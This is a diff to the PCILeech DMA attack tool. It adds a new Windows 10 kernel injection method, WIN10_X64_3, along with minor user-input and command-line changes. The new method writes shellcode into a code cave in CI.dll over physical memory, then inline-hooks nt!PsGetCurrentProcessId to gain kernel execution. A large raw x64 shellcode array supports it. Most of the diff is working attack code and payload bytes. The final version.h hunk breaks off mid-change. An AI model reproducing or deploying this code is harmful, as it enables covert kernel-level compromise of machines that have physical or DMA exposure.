diff --git a/pcileech/device.c b/pcileech/device.c
index dcadadc..4d4cf63 100644
--- a/pcileech/device.c
+++ b/pcileech/device.c
@@ -100,6 +100,48 @@ fail:
return fResult;
}
+#ifdef _WIN32
+_Success_(return)
+BOOL DeviceOpen2_RequestUserInput()
+{
+ BOOL fResult;
+ LPSTR szProto;
+ DWORD i, cbRead = 0;
+ CHAR szInput[33] = { 0 };
+ CHAR szDevice[MAX_PATH] = { 0 };
+ HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE);
+ // 1: read input
+ printf("\n?> ");
+ fResult = ReadConsoleA(hStdIn, szInput, 32, &cbRead, NULL);
+ CloseHandle(hStdIn);
+ for(i = 0; i < _countof(szInput); i++) {
+ if((szInput[i] == '\r') || (szInput[i] == '\n')) { szInput[i] = 0; }
+ }
+ cbRead = (DWORD)strlen(szInput);
+ if(!cbRead) { return FALSE; }
+ // 2: clear "userinput" option and update "device" option
+ ctxMain->cfg.fUserInteract = FALSE;
+ szProto = strstr(ctxMain->cfg.szDevice, "://");
+ snprintf(
+ szDevice,
+ MAX_PATH - 1,
+ "%s%s%sid=%s",
+ ctxMain->cfg.szDevice,
+ szProto ? "" : "://",
+ szProto && szProto[3] ? "," : "",
+ szInput);
+ memcpy(ctxMain->cfg.szDevice, szDevice, MAX_PATH);
+ // 3: try re-initialize with new user input
+ return DeviceOpen();
+}
+#else /* _WIN32 */
+_Success_(return)
+BOOL DeviceOpen2_RequestUserInput()
+{
+ return FALSE;
+}
+#endif /* _WIN32 */
+
_Success_(return)
BOOL DeviceOpen2(_In_ LPSTR szDevice, _In_ BOOL fFailSilent)
{
@@ -122,6 +164,10 @@ BOOL DeviceOpen2(_In_ LPSTR szDevice, _In_ BOOL fFailSilent)
if(pLcErrorInfo->cwszUserText) {
wprintf(L"MESSAGE FROM MEMORY ACQUISITION DEVICE:\n=======================================\n%s\n", pLcErrorInfo->wszUserText);
}
+ if(ctxMain->cfg.fUserInteract && pLcErrorInfo->fUserInputRequest) {
+ LcMemFree(pLcErrorInfo);
+ return DeviceOpen2_RequestUserInput();
+ }
}
ZeroMemory(&ctxMain->dev, sizeof(ctxMain->dev));
LcMemFree(pLcErrorInfo);
diff --git a/pcileech/help.c b/pcileech/help.c
index 44a159b..ed79a99 100644
--- a/pcileech/help.c
+++ b/pcileech/help.c
@@ -132,6 +132,7 @@ VOID Help_ShowGeneral()
" kernel module to use, see list below for choices: \n" \
" WIN10_X64 \n" \
" WIN10_X64_2 (Requires: FPGA & Windows) \n" \
+ " WIN10_X64_3 (Requires: FPGA & Windows) \n" \
" LINUX_X64_46 (NB! Kernels 2.6.33 - 4.6) \n" \
" LINUX_X64_48 (NB! Kernels 4.8+, FPGA only) \n" \
" LINUX_X64_EFI (NB! UEFI booted systems only) \n" \
diff --git a/pcileech/kmd.c b/pcileech/kmd.c
index ef7438b..7abb93d 100644
--- a/pcileech/kmd.c
+++ b/pcileech/kmd.c
@@ -763,6 +763,8 @@ BOOL KMDOpen_UEFI(_In_ BYTE bOffsetHookBootServices)
return KMD_SetupStage3((DWORD)qwAddrKMDDATA, pb + 0x1000, 0x1000);
}
+#ifdef WIN32
+
/*
* Load a kernel module (KMD) into a Windows 10 system on which not both of
* Vt-d and Virtualization Based Security is enabled. This technique relies
@@ -775,9 +777,8 @@ BOOL KMDOpen_UEFI(_In_ BYTE bOffsetHookBootServices)
* for thread creation via PsCreateSystemThread.
* It also patches function pointer table in HAL heap to gain initial execution.
*/
-#ifdef WIN32
_Success_(return)
-BOOL KMDOpen_WINX64_VMM()
+BOOL KMDOpen_WINX64_2_VMM()
{
BOOL result = FALSE;
BYTE pbPage[0x1000];
@@ -954,13 +955,166 @@ fail:
Vmmx_Close();
return result;
}
+
+/*
+* Load a kernel module (KMD) into a Windows 10 system on which not both of
+* Vt-d and Virtualization Based Security is enabled. This technique relies
+* on analysis by MemProcFS (vmm.dll) which currently only is a Windows module.
+* as a result the initial attack may currently only take place from Windows
+* attackers.
+* The technique puts the executable shellcode inside a code cave inside CI.dll.
+* Initial code execution is gained by placing an inline hook in nt!PsGetCurrentProcessId
+*/
+_Success_(return)
+BOOL KMDOpen_WINX64_3_VMM()
+{
+ BOOL f, fResult = FALSE;
+ QWORD vaHook, vaCI, vaDataPre = 0, vaExec = 0;
+ DWORD i, cSections, dwHookJMP, paKMD = 0, cbShellcode = 0;
+ BYTE pbShellcode[0xc00], pbHookOriginalData[0x14], pbHook[13] = { 0 }, pbZero20[0x20] = { 0 };
+ PIMAGE_SECTION_HEADER pSections = NULL;
+ // ------------------------------------------------------------------------
+ // 1: Initialize MemProcFS/vmm.dll
+ // ------------------------------------------------------------------------
+ if(!Vmmx_Initialize(FALSE, FALSE)) {
+ printf("KMD: Failed initializing required MemProcFS/vmm.dll #1\n");
+ return FALSE;
+ }
+ // ------------------------------------------------------------------------
+ // 2: Load Signature.
+ // ------------------------------------------------------------------------
+ if(!Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE23_VMM3", pbShellcode, sizeof(pbShellcode), &cbShellcode)) { goto fail; }
+ // ------------------------------------------------------------------------
+ // 3: Locate locations where to insert
+ // code: (CI.dll 'INIT' section)
+ // data: (CI.dll '.data' section)
+ // hook: (nt!PsGetCurrentProcessId)
+ // ------------------------------------------------------------------------
+ f = (vaCI = VMMDLL_ProcessGetModuleBase(4, L"CI.dll")) &&
+ VMMDLL_ProcessGetSections(4, L"CI.dll", NULL, 0, &cSections) &&
+ cSections &&
+ (pSections = LocalAlloc(LMEM_ZEROINIT, cSections * sizeof(IMAGE_SECTION_HEADER))) &&
+ VMMDLL_ProcessGetSections(4, L"CI.dll", pSections, cSections, &cSections);
+ for(i = 0; f && (i < cSections); i++) {
+ if(!strcmp("INIT", pSections[i].Name)) {
+ vaExec = vaCI + pSections[i].VirtualAddress + 0x400;
+ }
+ if(!strcmp(".data", pSections[i].Name)) {
+ vaDataPre = ((vaCI + pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - 0x20;
+ }
+ }
+ if(!f || !vaExec || !vaDataPre) {
+ printf("KMD: Failed get code cave (CI.dll) #2\n");
+ goto fail;
+ }
+ f = (vaHook = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "PsGetCurrentProcessId")) &&
+ VMMDLL_MemRead(4, vaHook, pbHookOriginalData, sizeof(pbHookOriginalData));
+ if(!f) {
+ printf("KMD: Failed get hook (ntoskrnl.exe) #3\n");
+ goto fail;
+ }
+ if((pbHookOriginalData[0x00] == 0xE9)) {
+ printf("KMD: Hook already inserted #4\n");
+ goto fail_hookrestore;
+ }
+ // ------------------------------------------------------------------------
+ // 4: Prepare and Inject!
+ // ------------------------------------------------------------------------
+ f = (*(PQWORD)(pbShellcode + 0x020) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "KeGetCurrentIrql")) &&
+ (*(PQWORD)(pbShellcode + 0x028) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "PsCreateSystemThread")) &&
+ (*(PQWORD)(pbShellcode + 0x030) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "ZwClose")) &&
+ (*(PQWORD)(pbShellcode + 0x038) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "MmAllocateContiguousMemory")) &&
+ (*(PQWORD)(pbShellcode + 0x040) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "MmGetPhysicalAddress")) &&
+ (*(PQWORD)(pbShellcode + 0x048) = VMMDLL_ProcessGetModuleBase(4, L"ntoskrnl.exe"));
+ if(!f) {
+ printf("KMD: Failed get functions (ntoskrnl.exe) #5\n");
+ goto fail;
+ }
+ *(PQWORD)(pbShellcode + 0x018) = vaDataPre;
+ memcpy(pbShellcode + 0x004, pbHookOriginalData, sizeof(pbHookOriginalData));
+ if(!VMMDLL_MemWrite(4, vaExec, pbShellcode, cbShellcode)) {
+ printf("KMD: Failed MemWrite (CI.dll) #6\n");
+ goto fail;
+ }
+ if((vaHook - vaExec > 0x7fff0000) && (vaExec - vaHook > 0x7fff0000)) {
+ // ABSOLUTE JMP [MOV r10, addr + JMP r10]
+ pbHook[0] = 0x49;
+ pbHook[1] = 0xBA;
+ *(PQWORD)(pbHook + 2) = vaExec;
+ pbHook[10] = 0x41;
+ pbHook[11] = 0xFF;
+ pbHook[12] = 0xE2;
+ } else {
+ // RELATIVE JMP
+ pbHook[0] = 0xE9; // JMP
+ *(PDWORD)(pbHook + 1) = (dwHookJMP = (DWORD)(vaExec - (vaHook + 5ULL)));
+ }
+ if(!VMMDLL_MemWrite(4, vaHook, pbHook, sizeof(pbHook))) {
+ printf("KMD: Failed MemWrite (ntoskrnl.exe) #7\n");
+ goto fail;
+ }
+ // ------------------------------------------------------------------------
+ // 5: Wait for execution.
+ // ------------------------------------------------------------------------
+ printf("KMD: Code inserted into the kernel - Waiting to receive execution.\n");
+ do {
+ Sleep(100);
+ if(!VMMDLL_MemReadEx(4, vaDataPre + 0x1c, (PBYTE)&paKMD, sizeof(DWORD), NULL, VMMDLL_FLAG_NOCACHE)) {
+ printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n");
+ goto fail_hookrestore;
+ }
+ } while(paKMD == 0);
+ printf("KMD: Execution received - continuing ...\n");
+ //------------------------------------------------
+ // 6: Set up reference to KMD.
+ //------------------------------------------------
+ if(ctxMain->cfg.fVerbose) {
+ printf("INFO: PA KMD BASE: 0x%08x\n", (DWORD)paKMD);
+ }
+ ctxMain->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE));
+ if(!ctxMain->phKMD) { goto fail; }
+ ctxMain->phKMD->pk = (PKMDDATA)ctxMain->phKMD->pbPageData;
+ ctxMain->pk = ctxMain->phKMD->pk;
+ ctxMain->phKMD->dwPageAddr32 = (DWORD)paKMD;
+ LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData);
+ //------------------------------------------------
+ // 7: Retrieve physical memory range map and complete open action.
+ //------------------------------------------------
+ if(!KMD_GetPhysicalMemoryMap()) {
+ printf("KMD: Failed. Failed to retrieve physical memory map.\n");
+ printf(" KMD _may_ still be located at: 0x%08x\n", (DWORD)paKMD);
+ KMDClose();
+ goto fail_hookrestore;
+ }
+ ctxMain->cfg.qwKMD = ctxMain->phKMD->dwPageAddr32;
+ if(ctxMain->pk->MAGIC != KMDDATA_MAGIC) {
+ ctxMain->pk->MAGIC = KMDDATA_MAGIC;
+ LcWrite(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, sizeof(QWORD), ctxMain->phKMD->pbPageData);
+ }
+ fResult = TRUE;
+fail_hookrestore:
+ VMMDLL_MemWrite(4, vaHook, pbHookOriginalData, sizeof(pbHookOriginalData));
+ VMMDLL_MemWrite(4, vaDataPre, pbZero20, sizeof(pbZero20));
+fail:
+ LocalFree(pSections);
+ Vmmx_Close();
+ return fResult;
+}
+
#endif /* WIN32 */
#ifdef LINUX
-BOOL KMDOpen_WINX64_VMM()
+
+BOOL KMDOpen_WINX64_2_VMM()
{
printf("KMD: Failed. Not supported on Linux.\n");
return FALSE;
}
+BOOL KMDOpen_WINX64_3_VMM()
+{
+ printf("KMD: Failed. Not supported on Linux.\n");
+ return FALSE;
+}
+
#endif /* LINUX */
// https://blog.coresecurity.com/2016/08/25/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap/
@@ -1562,7 +1716,9 @@ BOOL KMDOpen()
} else if(0 == _stricmp(ctxMain->cfg.szKMDName, "WIN10_X64")) {
return KMDOpen_HalHijack();
} else if(0 == _stricmp(ctxMain->cfg.szKMDName, "WIN10_X64_2")) {
- return KMDOpen_WINX64_VMM();
+ return KMDOpen_WINX64_2_VMM();
+ } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "WIN10_X64_3")) {
+ return KMDOpen_WINX64_3_VMM();
} else if(0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_EFI")) {
return KMDOpen_LinuxEfiRuntimeServicesHijack();
} else if(0 == _stricmp(ctxMain->cfg.szKMDName, "UEFI_EXIT_BOOT_SERVICES")) {
diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c
index 132d322..b84ae20 100644
--- a/pcileech/pcileech.c
+++ b/pcileech/pcileech.c
@@ -63,6 +63,7 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[])
ctxMain->cfg.tpAction = NA;
ctxMain->cfg.qwAddrMax = 0;
ctxMain->cfg.fOutFile = TRUE;
+ ctxMain->cfg.fUserInteract = TRUE;
// fetch command line actions/options
loop:
while(i < argc) {
@@ -130,6 +131,10 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[])
ctxMain->cfg.fLoop = TRUE;
i++;
continue;
+ } else if(0 == strcmp(argv[i], "-nouserinteract")) {
+ ctxMain->cfg.fUserInteract = FALSE;
+ i++;
+ continue;
} else if(i + 1 >= argc) {
return FALSE;
} else if(0 == strcmp(argv[i], "-min")) {
diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h
index 3c15f4b..c6a10d6 100644
--- a/pcileech/pcileech.h
+++ b/pcileech/pcileech.h
@@ -99,6 +99,7 @@ typedef struct tdConfig {
BOOL fPartialPageReadSupported;
BOOL fAddrKMDSetByArgument;
BOOL fLoop;
+ BOOL fUserInteract;
} CONFIG, *PCONFIG;
#define SIGNATURE_CHUNK_TP_OFFSET_FIXED 0
diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h
index a667d19..82f9a65 100644
--- a/pcileech/shellcode.h
+++ b/pcileech/shellcode.h
@@ -270,6 +270,89 @@ const BYTE WINX64_STAGE23_VMM[] = {
0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3
};
+const BYTE WINX64_STAGE23_VMM3[] = {
+ 0xeb, 0x4e, 0x00, 0x00, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
+ 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
+ 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
+ 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
+ 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
+ 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56,
+ 0x41, 0x57, 0x57, 0x56, 0x53, 0x55, 0x48, 0x83, 0xec, 0x20, 0xff, 0x15, 0xb0, 0xff, 0xff, 0xff,
+ 0x48, 0x85, 0xc0, 0x75, 0x5c, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8b, 0x0d, 0x98, 0xff, 0xff, 0xff,
+ 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x4b, 0x41, 0x54, 0x48, 0x8d, 0x05, 0x61, 0x00, 0x00, 0x00, 0x50,
+ 0x6a, 0x00, 0x48, 0x83, 0xec, 0x20, 0x4d, 0x33, 0xc9, 0x4d, 0x33, 0xc0, 0x48, 0xc7, 0xc2, 0xff,
+ 0xff, 0x1f, 0x00, 0x48, 0x8b, 0x0d, 0x6e, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc1, 0x08, 0xff, 0x15,
+ 0x74, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x38, 0x48, 0x83, 0xec, 0x38, 0x48, 0x8b, 0x0d, 0x55,
+ 0xff, 0xff, 0xff, 0x48, 0x8b, 0x49, 0x08, 0xff, 0x15, 0x63, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4,
+ 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0x5b, 0x5e, 0x5f, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41,
+ 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0xe9, 0x14, 0xff, 0xff, 0xff,
+ 0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x20, 0x48, 0xc7, 0xc1, 0x00, 0x10, 0x00, 0x00, 0x48,
+ 0xc7, 0xc2, 0xff, 0xff, 0xff, 0x7f, 0xff, 0x15, 0x2c, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xe8, 0x48,
+ 0x33, 0xc0, 0xb9, 0x00, 0x02, 0x00, 0x00, 0xff, 0xc9, 0x49, 0x89, 0x44, 0xcd, 0x00, 0x75, 0xf7,
+ 0x49, 0x8b, 0xcd, 0xff, 0x15, 0x17, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0xe8, 0xfe, 0xff, 0xff,
+ 0x89, 0x41, 0x1c, 0x48, 0x8b, 0x05, 0x0e, 0xff, 0xff, 0xff, 0x49, 0x89, 0x45, 0x08, 0x49, 0x8b,
+ 0xcd, 0xe8, 0xa6, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0x33, 0xc0, 0xc3, 0xcc, 0xcc,
+ 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,
+ 0x89, 0x78, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0xea, 0x33, 0xd2, 0x44, 0x8b, 0x84, 0x08, 0x88,
+ 0x00, 0x00, 0x00, 0x4c, 0x03, 0xc1, 0x45, 0x8b, 0x48, 0x20, 0x41, 0x8b, 0x78, 0x24, 0x4c, 0x03,
+ 0xc9, 0x41, 0x8b, 0x58, 0x1c, 0x48, 0x03, 0xf9, 0x41, 0x8b, 0x70, 0x18, 0x48, 0x03, 0xd9, 0x85,
+ 0xf6, 0x74, 0x2e, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x45, 0x33, 0xdb, 0xeb, 0x0d, 0x49, 0xff,
+ 0xc2, 0x41, 0xc1, 0xcb, 0x0d, 0x0f, 0xb6, 0xc0, 0x44, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0,
+ 0x75, 0xec, 0x44, 0x3b, 0xdd, 0x74, 0x21, 0xff, 0xc2, 0x49, 0x83, 0xc1, 0x04, 0x3b, 0xd6, 0x72,
+ 0xd2, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74,
+ 0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14,
+ 0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48,
+ 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55,
+ 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33,
+ 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x01,
+ 0x48, 0x8d, 0x75, 0x03, 0x48, 0x8b, 0xd9, 0xc7, 0x45, 0xd7, 0x1f, 0x9d, 0x48, 0x9d, 0xc7, 0x45,
+ 0xdb, 0x92, 0xf5, 0x45, 0x13, 0x4c, 0x8d, 0xb1, 0x58, 0x03, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0xbc,
+ 0x1e, 0x36, 0x9f, 0xbf, 0x0b, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe3, 0x57, 0x63, 0x32, 0x5a, 0xc7,
+ 0x45, 0xe7, 0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45, 0xeb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0xef,
+ 0xc9, 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0xf3, 0x02, 0x6b, 0xa0, 0x94, 0xc7, 0x45, 0xf7, 0x9b, 0x97,
+ 0x64, 0xcf, 0xc7, 0x45, 0xfb, 0x89, 0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xff, 0x92, 0x6d, 0x58, 0x58,
+ 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x8d, 0x76, 0xfc, 0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8, 0xe8, 0xbd,
+ 0xfe, 0xff, 0xff, 0x49, 0x89, 0x06, 0x83, 0xc7, 0xff, 0x75, 0xe5, 0x48, 0x8b, 0xcb, 0x4c, 0x8d,
+ 0x9c, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b,
+ 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc,
+ 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41,
+ 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0xc7, 0x40, 0x08, 0xf0, 0xd8, 0xff, 0xff,
+ 0xb9, 0x00, 0x00, 0x00, 0x01, 0x41, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x41, 0x8b, 0xd6, 0x33, 0xf6,
+ 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,
+ 0x75, 0x2c, 0xb9, 0x00, 0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93,
+ 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x12, 0x48, 0x21, 0x73, 0x18,
+ 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xb7, 0x01, 0x00, 0x00, 0x48, 0x8b,
+ 0xcf, 0x48, 0x89, 0x7b, 0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48, 0x89, 0x43, 0x20, 0x41,
+ 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x30,
+ 0x48, 0x85, 0xc0, 0x75, 0x23, 0x49, 0x03, 0xf6, 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00,
+ 0x00, 0x00, 0x48, 0x3b, 0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x33, 0xd2, 0x33, 0xc9,
+ 0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00,
+ 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x2f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4e,
+ 0xff, 0x93, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x06, 0x48, 0x21,
+ 0x43, 0x38, 0xeb, 0x3a, 0x45, 0x33, 0xc0, 0x48, 0x83, 0x38, 0x00, 0x75, 0x07, 0x48, 0x83, 0x78,
+ 0x08, 0x00, 0x74, 0x09, 0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, 0x10, 0xeb, 0xea, 0x49, 0xc1, 0xe0,
+ 0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff, 0x93, 0x40, 0x03, 0x00,
+ 0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x00, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b,
+ 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1e, 0x4c, 0x8d, 0x83, 0x20, 0x02,
+ 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x48, 0x8b,
+ 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0xff, 0xc8, 0x49, 0x3b, 0xc6, 0x77,
+ 0x55, 0x48, 0x8b, 0x53, 0x48, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28, 0x03,
+ 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x37, 0x48, 0x8b, 0x83, 0x40, 0x03, 0x00,
+ 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08, 0x48, 0x8b,
+ 0xd6, 0x48, 0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff, 0xd0, 0x48, 0x8b,
+ 0x53, 0x48, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xeb,
+ 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8,
+ 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x53, 0x40, 0xff, 0x93,
+ 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48,
+ 0x83, 0xf8, 0x07, 0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40,
+ 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00,
+ 0x00, 0x00, 0x33, 0xf6, 0xe9, 0x8c, 0xfe, 0xff, 0xff, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b,
+ 0xcf, 0x48, 0x89, 0x43, 0x30, 0xff, 0x93, 0x08, 0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00,
+ 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00,
+ 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48,
+ 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3
+};
+
const BYTE WINX64_UMD_EXEC[] = {
0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0xeb, 0x10, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x50, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8b, 0x0d,
@@ -1745,6 +1828,7 @@ const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = {
{.sz = "DEFAULT_WINX64_STAGE3",.pb = (PBYTE)WINX64_STAGE3_BIN,.cb = sizeof(WINX64_STAGE3_BIN)},
{.sz = "DEFAULT_WINX64_STAGE2_HAL",.pb = (PBYTE)WINX64_STAGE2_HAL_BIN,.cb = sizeof(WINX64_STAGE2_HAL_BIN)},
{.sz = "DEFAULT_WINX64_STAGE23_VMM",.pb = (PBYTE)WINX64_STAGE23_VMM,.cb = sizeof(WINX64_STAGE23_VMM) },
+ {.sz = "DEFAULT_WINX64_STAGE23_VMM3",.pb = (PBYTE)WINX64_STAGE23_VMM3,.cb = sizeof(WINX64_STAGE23_VMM3) },
{.sz = "DEFAULT_WINX64_VFS_KSH",.pb = (PBYTE)WINX64_VFS_KSH,.cb = sizeof(WINX64_VFS_KSH)},
{.sz = "DEFAULT_WINX64_UMD_EXEC",.pb = (PBYTE)WINX64_UMD_EXEC,.cb = sizeof(WINX64_UMD_EXEC)},
{.sz = "DEFAULT_LINUX_X64_STAGE1",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)},
diff --git a/pcileech/version.h b/pcileech/version.h
index 179a97b..cac2787 100644
--- a/pcileech/version.h
+++ b/pcileech/version.h
@@ -2,9 +2,9 @@
#define STRINGIZE(s) STRINGIZE2(s)
#define VERSION_MAJOR 4
-#define VERSION_MINOR 6
